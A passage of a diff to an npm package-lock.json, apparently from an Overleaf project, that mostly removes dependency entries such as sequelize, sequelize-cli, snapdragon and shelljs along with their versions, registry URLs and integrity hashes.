"https://registry.npmjs.org/repeat-string/-/repeat-string-1.6.1.tgz", + "integrity": "sha1-jcrkcOHIirwtYA//Sndihtp15jc=", ++ "dev": true, + "engines": { + "node": ">=0.10" + } +@@ -26094,57 +21528,6 @@ + "node": ">=8" + } + }, +- "node_modules/resolve-dir": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/resolve-dir/-/resolve-dir-1.0.1.tgz", +- "integrity": "sha1-eaQGRMNivoLybv/nOcm7U4IEb0M=", +- "dependencies": { +- "expand-tilde": "^2.0.0", +- "global-modules": "^1.0.0" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/resolve-dir/node_modules/global-modules": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/global-modules/-/global-modules-1.0.0.tgz", +- "integrity": "sha512-sKzpEkf11GpOFuw0Zzjzmt4B4UZwjOcG757PPvrfhxcLFbq0wpsgpOqxpxtxFiCG4DtG93M6XRVbF2oGdev7bg==", +- "dependencies": { +- "global-prefix": "^1.0.1", +- "is-windows": "^1.0.1", +- "resolve-dir": "^1.0.0" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/resolve-dir/node_modules/global-prefix": { +- "version": "1.0.2", +- "resolved": "https://registry.npmjs.org/global-prefix/-/global-prefix-1.0.2.tgz", +- "integrity": "sha1-2/dDxsFJklk8ZVVoy2btMsASLr4=", +- "dependencies": { +- "expand-tilde": "^2.0.2", +- "homedir-polyfill": "^1.0.1", +- "ini": "^1.3.4", +- "is-windows": "^1.0.1", +- "which": "^1.2.14" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/resolve-dir/node_modules/which": { +- "version": "1.3.1", +- "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", +- "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", +- "dependencies": { +- "isexe": "^2.0.0" +- }, +- "bin": { +- "which": "bin/which" +- } +- }, + "node_modules/resolve-from": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz", +@@ -26166,20 +21549,6 @@ + "node": ">= 0.10" + } + }, +- "node_modules/resolve-url": { +- "version": "0.2.1", +- "resolved": "https://registry.npmjs.org/resolve-url/-/resolve-url-0.2.1.tgz", +- "integrity": "sha1-LGN/53yJOv0qZj/iGqkIAGjiBSo=", +- "deprecated": "https://github.com/lydell/resolve-url#deprecated" +- }, +- "node_modules/responselike": { +- "version": "1.0.2", +- "resolved": "https://registry.npmjs.org/responselike/-/responselike-1.0.2.tgz", +- "integrity": "sha1-kYcg7ztjHFZCvgaPFa3lpG9Loec=", +- "dependencies": { +- "lowercase-keys": "^1.0.0" +- } +- }, + "node_modules/restore-cursor": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-3.1.0.tgz", +@@ -26193,14 +21562,6 @@ + "node": ">=8" + } + }, +- "node_modules/ret": { +- "version": "0.1.15", +- "resolved": "https://registry.npmjs.org/ret/-/ret-0.1.15.tgz", +- "integrity": "sha512-TTlYpa+OL+vMMNG24xSlQGEJ3B/RzEfUlLct7b5G/ytav+wPrplCpVMFuwzXbkecJrb6IYo1iFb0S9v37754mg==", +- "engines": { +- "node": ">=0.12" +- } +- }, + "node_modules/retry": { + "version": "0.13.1", + "resolved": "https://registry.npmjs.org/retry/-/retry-0.13.1.tgz", +@@ -26209,14 +21570,6 @@ + "node": ">= 4" + } + }, +- "node_modules/retry-as-promised": { +- "version": "3.2.0", +- "resolved": "https://registry.npmjs.org/retry-as-promised/-/retry-as-promised-3.2.0.tgz", +- "integrity": "sha512-CybGs60B7oYU/qSQ6kuaFmRd9sTZ6oXSc0toqePvV74Ac6/IFZSI1ReFQmtCN+uvW1Mtqdwpvt/LGOiCBAY2Mg==", +- "dependencies": { +- "any-promise": "^1.3.0" +- } +- }, + "node_modules/retry-request": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/retry-request/-/retry-request-4.2.2.tgz", +@@ -26343,14 +21696,6 @@ + "integrity": "sha512-gH8eh2nZudPQO6TytOvbxnuhYBOvDBBLW52tz5q6X58lJcd/tkmqFR+5Z9adS8aJtURSXWThWy/xJtJwixErvg==", + "optional": true + }, +- "node_modules/safe-regex": { +- "version": "1.1.0", +- "resolved": "https://registry.npmjs.org/safe-regex/-/safe-regex-1.1.0.tgz", +- "integrity": "sha1-QKNmnzsHfR6UPURinhV91IAjvy4=", +- "dependencies": { +- "ret": "~0.1.10" +- } +- }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", +@@ -26717,281 +22062,6 @@ + "node": ">=4" + } + }, +- "node_modules/sequelize": { +- "version": "5.22.5", +- "resolved": "https://registry.npmjs.org/sequelize/-/sequelize-5.22.5.tgz", +- "integrity": "sha512-ySIHof18sJbeVG4zjEvsDL490cd9S14/IhkCrZR/g0C/FPlZq1AzEJVeSAo++9/sgJH2eERltAIGqYQNgVqX/A==", +- "dependencies": { +- "bluebird": "^3.5.0", +- "cls-bluebird": "^2.1.0", +- "debug": "^4.1.1", +- "dottie": "^2.0.0", +- "inflection": "1.12.0", +- "lodash": "^4.17.15", +- "moment": "^2.24.0", +- "moment-timezone": "^0.5.21", +- "retry-as-promised": "^3.2.0", +- "semver": "^6.3.0", +- "sequelize-pool": "^2.3.0", +- "toposort-class": "^1.0.1", +- "uuid": "^8.3.2", +- "validator": "^13.7.0", +- "wkx": "^0.4.8" +- }, +- "engines": { +- "node": ">=6.0.0" +- } +- }, +- "node_modules/sequelize-cli": { +- "version": "5.5.1", +- "resolved": "https://registry.npmjs.org/sequelize-cli/-/sequelize-cli-5.5.1.tgz", +- "integrity": "sha512-ZM4kUZvY3y14y+Rq3cYxGH7YDJz11jWHcN2p2x7rhAIemouu4CEXr5ebw30lzTBtyXV4j2kTO+nUjZOqzG7k+Q==", +- "dev": true, +- "dependencies": { +- "bluebird": "^3.5.3", +- "cli-color": "^1.4.0", +- "fs-extra": "^7.0.1", +- "js-beautify": "^1.8.8", +- "lodash": "^4.17.5", +- "resolve": "^1.5.0", +- "umzug": "^2.1.0", +- "yargs": "^13.1.0" +- }, +- "bin": { +- "sequelize": "lib/sequelize", +- "sequelize-cli": "lib/sequelize" +- }, +- "engines": { +- "node": ">=6.0.0" +- } +- }, +- "node_modules/sequelize-cli/node_modules/ansi-regex": { +- "version": "4.1.0", +- "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz", +- "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==", +- "dev": true, +- "engines": { +- "node": ">=6" +- } +- }, +- "node_modules/sequelize-cli/node_modules/camelcase": { +- "version": "5.3.1", +- "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", +- "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", +- "dev": true, +- "engines": { +- "node": ">=6" +- } +- }, +- "node_modules/sequelize-cli/node_modules/cliui": { +- "version": "5.0.0", +- "resolved": "https://registry.npmjs.org/cliui/-/cliui-5.0.0.tgz", +- "integrity": "sha512-PYeGSEmmHM6zvoef2w8TPzlrnNpXIjTipYK780YswmIP9vjxmd6Y2a3CB2Ks6/AU8NHjZugXvo8w3oWM2qnwXA==", +- "dev": true, +- "dependencies": { +- "string-width": "^3.1.0", +- "strip-ansi": "^5.2.0", +- "wrap-ansi": "^5.1.0" +- } +- }, +- "node_modules/sequelize-cli/node_modules/emoji-regex": { +- "version": "7.0.3", +- "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-7.0.3.tgz", +- "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==", +- "dev": true +- }, +- "node_modules/sequelize-cli/node_modules/find-up": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz", +- "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", +- "dev": true, +- "dependencies": { +- "locate-path": "^3.0.0" +- }, +- "engines": { +- "node": ">=6" +- } +- }, +- "node_modules/sequelize-cli/node_modules/fs-extra": { +- "version": "7.0.1", +- "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-7.0.1.tgz", +- "integrity": "sha512-YJDaCJZEnBmcbw13fvdAM9AwNOJwOzrE4pqMqBq5nFiEqXUqHwlK4B+3pUw6JNvfSPtX05xFHtYy/1ni01eGCw==", +- "dev": true, +- "dependencies": { +- "graceful-fs": "^4.1.2", +- "jsonfile": "^4.0.0", +- "universalify": "^0.1.0" +- }, +- "engines": { +- "node": ">=6 <7 || >=8" +- } +- }, +- "node_modules/sequelize-cli/node_modules/is-fullwidth-code-point": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", +- "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", +- "dev": true, +- "engines": { +- "node": ">=4" +- } +- }, +- "node_modules/sequelize-cli/node_modules/jsonfile": { +- "version": "4.0.0", +- "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz", +- "integrity": "sha1-h3Gq4HmbZAdrdmQPygWPnBDjPss=", +- "dev": true, +- "optionalDependencies": { +- "graceful-fs": "^4.1.6" +- } +- }, +- "node_modules/sequelize-cli/node_modules/locate-path": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz", +- "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", +- "dev": true, +- "dependencies": { +- "p-locate": "^3.0.0", +- "path-exists": "^3.0.0" +- }, +- "engines": { +- "node": ">=6" +- } +- }, +- "node_modules/sequelize-cli/node_modules/p-limit": { +- "version": "2.3.0", +- "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", +- "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", +- "dev": true, +- "dependencies": { +- "p-try": "^2.0.0" +- }, +- "engines": { +- "node": ">=6" +- }, +- "funding": { +- "url": "https://github.com/sponsors/sindresorhus" +- } +- }, +- "node_modules/sequelize-cli/node_modules/p-locate": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz", +- "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", +- "dev": true, +- "dependencies": { +- "p-limit": "^2.0.0" +- }, +- "engines": { +- "node": ">=6" +- } +- }, +- "node_modules/sequelize-cli/node_modules/path-exists": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", +- "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=", +- "dev": true, +- "engines": { +- "node": ">=4" +- } +- }, +- "node_modules/sequelize-cli/node_modules/string-width": { +- "version": "3.1.0", +- "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz", +- "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==", +- "dev": true, +- "dependencies": { +- "emoji-regex": "^7.0.1", +- "is-fullwidth-code-point": "^2.0.0", +- "strip-ansi": "^5.1.0" +- }, +- "engines": { +- "node": ">=6" +- } +- }, +- "node_modules/sequelize-cli/node_modules/strip-ansi": { +- "version": "5.2.0", +- "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", +- "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", +- "dev": true, +- "dependencies": { +- "ansi-regex": "^4.1.0" +- }, +- "engines": { +- "node": ">=6" +- } +- }, +- "node_modules/sequelize-cli/node_modules/universalify": { +- "version": "0.1.2", +- "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz", +- "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==", +- "dev": true, +- "engines": { +- "node": ">= 4.0.0" +- } +- }, +- "node_modules/sequelize-cli/node_modules/wrap-ansi": { +- "version": "5.1.0", +- "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-5.1.0.tgz", +- "integrity": "sha512-QC1/iN/2/RPVJ5jYK8BGttj5z83LmSKmvbvrXPNCLZSEb32KKVDJDl/MOt2N01qU2H/FkzEa9PKto1BqDjtd7Q==", +- "dev": true, +- "dependencies": { +- "ansi-styles": "^3.2.0", +- "string-width": "^3.0.0", +- "strip-ansi": "^5.0.0" +- }, +- "engines": { +- "node": ">=6" +- } +- }, +- "node_modules/sequelize-cli/node_modules/y18n": { +- "version": "4.0.3", +- "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.3.tgz", +- "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==", +- "dev": true +- }, +- "node_modules/sequelize-cli/node_modules/yargs": { +- "version": "13.3.2", +- "resolved": "https://registry.npmjs.org/yargs/-/yargs-13.3.2.tgz", +- "integrity": "sha512-AX3Zw5iPruN5ie6xGRIDgqkT+ZhnRlZMLMHAs8tg7nRruy2Nb+i5o9bwghAogtM08q1dpr2LVoS8KSTMYpWXUw==", +- "dev": true, +- "dependencies": { +- "cliui": "^5.0.0", +- "find-up": "^3.0.0", +- "get-caller-file": "^2.0.1", +- "require-directory": "^2.1.1", +- "require-main-filename": "^2.0.0", +- "set-blocking": "^2.0.0", +- "string-width": "^3.0.0", +- "which-module": "^2.0.0", +- "y18n": "^4.0.0", +- "yargs-parser": "^13.1.2" +- } +- }, +- "node_modules/sequelize-cli/node_modules/yargs-parser": { +- "version": "13.1.2", +- "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-13.1.2.tgz", +- "integrity": "sha512-3lbsNRf/j+A4QuSZfDRA7HRSfWrzO0YjqTJd5kjAq37Zep1CEgaYmrH9Q3GwPiB9cHyd1Y1UwggGhJGoxipbzg==", +- "dev": true, +- "dependencies": { +- "camelcase": "^5.0.0", +- "decamelize": "^1.2.0" +- } +- }, +- "node_modules/sequelize-pool": { +- "version": "2.3.0", +- "resolved": "https://registry.npmjs.org/sequelize-pool/-/sequelize-pool-2.3.0.tgz", +- "integrity": "sha512-Ibz08vnXvkZ8LJTiUOxRcj1Ckdn7qafNZ2t59jYHMX1VIebTAOYefWdRYFt6z6+hy52WGthAHAoLc9hvk3onqA==", +- "engines": { +- "node": ">= 6.0.0" +- } +- }, +- "node_modules/sequelize/node_modules/uuid": { +- "version": "8.3.2", +- "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", +- "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", +- "bin": { +- "uuid": "dist/bin/uuid" +- } +- }, + "node_modules/serialize-javascript": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.0.tgz", +@@ -27202,20 +22272,6 @@ + "node": ">=0.10.0" + } + }, +- "node_modules/set-value": { +- "version": "2.0.1", +- "resolved": "https://registry.npmjs.org/set-value/-/set-value-2.0.1.tgz", +- "integrity": "sha512-JxHc1weCN68wRY0fhCoXpyK55m/XPHafOmK4UWD7m2CI14GMcFypt4w/0+NV5f/ZMby2F6S2wwA7fgynh9gWSw==", +- "dependencies": { +- "extend-shallow": "^2.0.1", +- "is-extendable": "^0.1.1", +- "is-plain-object": "^2.0.3", +- "split-string": "^3.0.1" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/setimmediate": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/setimmediate/-/setimmediate-1.0.5.tgz", +@@ -27259,48 +22315,11 @@ + "node": ">=8" + } + }, +- "node_modules/shelljs": { +- "version": "0.8.5", +- "resolved": "https://registry.npmjs.org/shelljs/-/shelljs-0.8.5.tgz", +- "integrity": "sha512-TiwcRcrkhHvbrZbnRcFYMLl30Dfov3HKqzp5tO5b4pt6G/SezKcYhmDg15zXVBswHmctSAQKznqNW2LO5tTDow==", +- "dependencies": { +- "glob": "^7.0.0", +- "interpret": "^1.0.0", +- "rechoir": "^0.6.2" +- }, +- "bin": { +- "shjs": "bin/shjs" +- }, +- "engines": { +- "node": ">=4" +- } +- }, +- "node_modules/shelljs/node_modules/interpret": { +- "version": "1.4.0", +- "resolved": "https://registry.npmjs.org/interpret/-/interpret-1.4.0.tgz", +- "integrity": "sha512-agE4QfB2Lkp9uICn7BAqoscw4SZP9kTE2hxiFI3jBPmXJfdqiahTbUuKGsMoN2GtqL9AxhYioAcVvgsb1HvRbA==", +- "engines": { +- "node": ">= 0.10" +- } +- }, + "node_modules/shimmer": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/shimmer/-/shimmer-1.2.1.tgz", + "integrity": "sha512-sQTKC1Re/rM6XyFM6fIAGHRPVGvyXfgzIDvzoq608vM+jeyVD0Tu1E6Np0Kc2zAIFWIj963V2800iF/9LPieQw==" + }, +- "node_modules/shortid": { +- "version": "2.2.14", +- "resolved": "https://registry.npmjs.org/shortid/-/shortid-2.2.14.tgz", +- "integrity": "sha512-4UnZgr9gDdA1kaKj/38IiudfC3KHKhDc1zi/HSxd9FQDR0VLwH3/y79tZJLsVYPsJgIjeHjqIWaWVRJUj9qZOQ==", +- "dependencies": { +- "nanoid": "^2.0.0" +- } +- }, +- "node_modules/shortid/node_modules/nanoid": { +- "version": "2.1.11", +- "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-2.1.11.tgz", +- "integrity": "sha512-s/snB+WGm6uwi0WjsZdaVcuf3KJXlfGl2LcxgwkEwJF0D/BWzVWAZW/XY4bFaiR7s0Jk3FPvlnepg1H1b1UwlA==" +- }, + "node_modules/side-channel": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz", +@@ -27319,12 +22338,6 @@ + "resolved": "https://registry.npmjs.org/sift/-/sift-13.5.2.tgz", + "integrity": "sha512-+gxdEOMA2J+AI+fVsCqeNn7Tgx3M9ZN9jdi95939l1IJ8cZsqS8sqpJyOkic2SJk+1+98Uwryt/gL6XDaV+UZA==" + }, +- "node_modules/sigmund": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/sigmund/-/sigmund-1.0.1.tgz", +- "integrity": "sha1-P/IfGYytIXX587eBhT/ZTQ0ZtZA=", +- "dev": true +- }, + "node_modules/signal-exit": { + "version": "3.0.6", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.6.tgz", +@@ -27336,22 +22349,6 @@ + "integrity": "sha1-Krt1qt453rXMgVzhDmGRFkhQuvA=", + "dev": true + }, +- "node_modules/simple-oauth2": { +- "version": "0.6.0", +- "resolved": "https://registry.npmjs.org/simple-oauth2/-/simple-oauth2-0.6.0.tgz", +- "integrity": "sha1-lQ/dsHJURrymK9oMauslEUAx8RU=", +- "deprecated": "simple-oauth2 v0 is no longer supported. Please upgrade to v3 for further support", +- "dependencies": { +- "bluebird": "^2.10.1", +- "date-utils": "^1.2.12", +- "request": "^2.67.0" +- } +- }, +- "node_modules/simple-oauth2/node_modules/bluebird": { +- "version": "2.11.0", +- "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-2.11.0.tgz", +- "integrity": "sha1-U0uQM8AiyVecVro7Plpcqvu2UOE=" +- }, + "node_modules/simple-update-notifier": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/simple-update-notifier/-/simple-update-notifier-1.0.7.tgz", +@@ -27401,15 +22398,6 @@ + "sinon": ">=4.0.0" + } + }, +- "node_modules/sinon-stub-promise": { +- "version": "4.0.0", +- "resolved": "https://registry.npmjs.org/sinon-stub-promise/-/sinon-stub-promise-4.0.0.tgz", +- "integrity": "sha1-bUmLoRmFV80B40Zq+S3H33JRksI=", +- "dev": true, +- "engines": { +- "node": ">= 0.10" +- } +- }, + "node_modules/sinon/node_modules/diff": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz", +@@ -27489,159 +22477,6 @@ + "resolved": "https://registry.npmjs.org/snakeize/-/snakeize-0.1.0.tgz", + "integrity": "sha1-EMCI2LWOsHazIpu1oE4jLOEmQi0=" + }, +- "node_modules/snapdragon": { +- "version": "0.8.2", +- "resolved": "https://registry.npmjs.org/snapdragon/-/snapdragon-0.8.2.tgz", +- "integrity": "sha512-FtyOnWN/wCHTVXOMwvSv26d+ko5vWlIDD6zoUJ7LW8vh+ZBC8QdljveRP+crNrtBwioEUWy/4dMtbBjA4ioNlg==", +- "dependencies": { +- "base": "^0.11.1", +- "debug": "^2.2.0", +- "define-property": "^0.2.5", +- "extend-shallow": "^2.0.1", +- "map-cache": "^0.2.2", +- "source-map": "^0.5.6", +- "source-map-resolve": "^0.5.0", +- "use": "^3.1.0" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/snapdragon-node": { +- "version": "2.1.1", +- "resolved": "https://registry.npmjs.org/snapdragon-node/-/snapdragon-node-2.1.1.tgz", +- "integrity": "sha512-O27l4xaMYt/RSQ5TR3vpWCAB5Kb/czIcqUFOM/C4fYcLnbZUc1PkjTAMjof2pBWaSTwOUd6qUHcFGVGj7aIwnw==", +- "dependencies": { +- "define-property": "^1.0.0", +- "isobject": "^3.0.0", +- "snapdragon-util": "^3.0.1" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/snapdragon-node/node_modules/define-property": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", +- "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", +- "dependencies": { +- "is-descriptor": "^1.0.0" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/snapdragon-util": { +- "version": "3.0.1", +- "resolved": "https://registry.npmjs.org/snapdragon-util/-/snapdragon-util-3.0.1.tgz", +- "integrity": "sha512-mbKkMdQKsjX4BAL4bRYTj21edOf8cN7XHdYUJEe+Zn99hVEYcMvKPct1IqNe7+AZPirn8BCDOQBHQZknqmKlZQ==", +- "dependencies": { +- "kind-of": "^3.2.0" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/snapdragon-util/node_modules/kind-of": { +- "version": "3.2.2", +- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", +- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", +- "dependencies": { +- "is-buffer": "^1.1.5" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/snapdragon/node_modules/debug": { +- "version": "2.6.9", +- "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", +- "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", +- "dependencies": { +- "ms": "2.0.0" +- } +- }, +- "node_modules/snapdragon/node_modules/define-property": { +- "version": "0.2.5", +- "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", +- "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", +- "dependencies": { +- "is-descriptor": "^0.1.0" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/snapdragon/node_modules/is-accessor-descriptor": { +- "version": "0.1.6", +- "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", +- "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", +- "dependencies": { +- "kind-of": "^3.0.2" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/snapdragon/node_modules/is-accessor-descriptor/node_modules/kind-of": { +- "version": "3.2.2", +- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", +- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", +- "dependencies": { +- "is-buffer": "^1.1.5" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/snapdragon/node_modules/is-data-descriptor": { +- "version": "0.1.4", +- "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", +- "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", +- "dependencies": { +- "kind-of": "^3.0.2" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/snapdragon/node_modules/is-data-descriptor/node_modules/kind-of": { +- "version": "3.2.2", +- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", +- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", +- "dependencies": { +- "is-buffer": "^1.1.5" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/snapdragon/node_modules/is-descriptor": { +- "version": "0.1.6", +- "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", +- "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", +- "dependencies": { +- "is-accessor-descriptor": "^0.1.6", +- "is-data-descriptor": "^0.1.4", +- "kind-of": "^5.0.0" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/snapdragon/node_modules/kind-of": { +- "version": "5.1.0", +- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", +- "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/snapdragon/node_modules/ms": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", +- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" +- }, + "node_modules/socket.io": { + "version": "0.9.19-overleaf-6", + "resolved": "git+ssh://git@github.com/overleaf/socket.io.git#af96d1b68d9918ee0f9cb82c62990395b0a601fb", +@@ -27831,19 +22666,6 @@ + "node": ">=0.10.0" + } + }, +- "node_modules/source-map-resolve": { +- "version": "0.5.3", +- "resolved": "https://registry.npmjs.org/source-map-resolve/-/source-map-resolve-0.5.3.tgz", +- "integrity": "sha512-Htz+RnsXWk5+P2slx5Jh3Q66vhQj1Cllm0zvnaY98+NFx+Dv2CF/f5O/t8x+KaNdrdIAsruNzoh/KpialbqAnw==", +- "deprecated": "See https://github.com/lydell/source-map-resolve#deprecated", +- "dependencies": { +- "atob": "^2.1.2", +- "decode-uri-component": "^0.2.0", +- "resolve-url": "^0.2.1", +- "source-map-url": "^0.4.0", +- "urix": "^0.1.0" +- } +- }, + "node_modules/source-map-support": { + "version": "0.5.21", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz", +@@ -27861,17 +22683,6 @@ + "node": ">=0.10.0" + } + }, +- "node_modules/source-map-url": { +- "version": "0.4.1", +- "resolved": "https://registry.npmjs.org/source-map-url/-/source-map-url-0.4.1.tgz", +- "integrity": "sha512-cPiFOTLUKvJFIg4SKVScy4ilPPW6rFgMgfuZJPNoDuMs3nC1HbMUycBoJw77xFIp6z1UJQJOfx6C9GMH80DiTw==", +- "deprecated": "See https://github.com/lydell/source-map-url#deprecated" +- }, +- "node_modules/spark-md5": { +- "version": "3.0.2", +- "resolved": "https://registry.npmjs.org/spark-md5/-/spark-md5-3.0.2.tgz", +- "integrity": "sha512-wcFzz9cDfbuqe0FZzfi2or1sgyIrsDwmPwfZC4hiNidPdPINjeUwNfv5kldczoEAcjl9Y1L3SM7Uz2PUEQzxQw==" +- }, + "node_modules/sparse-bitfield": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/sparse-bitfield/-/sparse-bitfield-3.0.3.tgz", +@@ -27974,52 +22785,11 @@ + "resolved": "https://registry.npmjs.org/split-ca/-/split-ca-1.0.1.tgz", + "integrity": "sha1-bIOv82kvphJW4M0ZfgXp3hV2kaY=" + }, +- "node_modules/split-string": { +- "version": "3.1.0", +- "resolved": "https://registry.npmjs.org/split-string/-/split-string-3.1.0.tgz", +- "integrity": 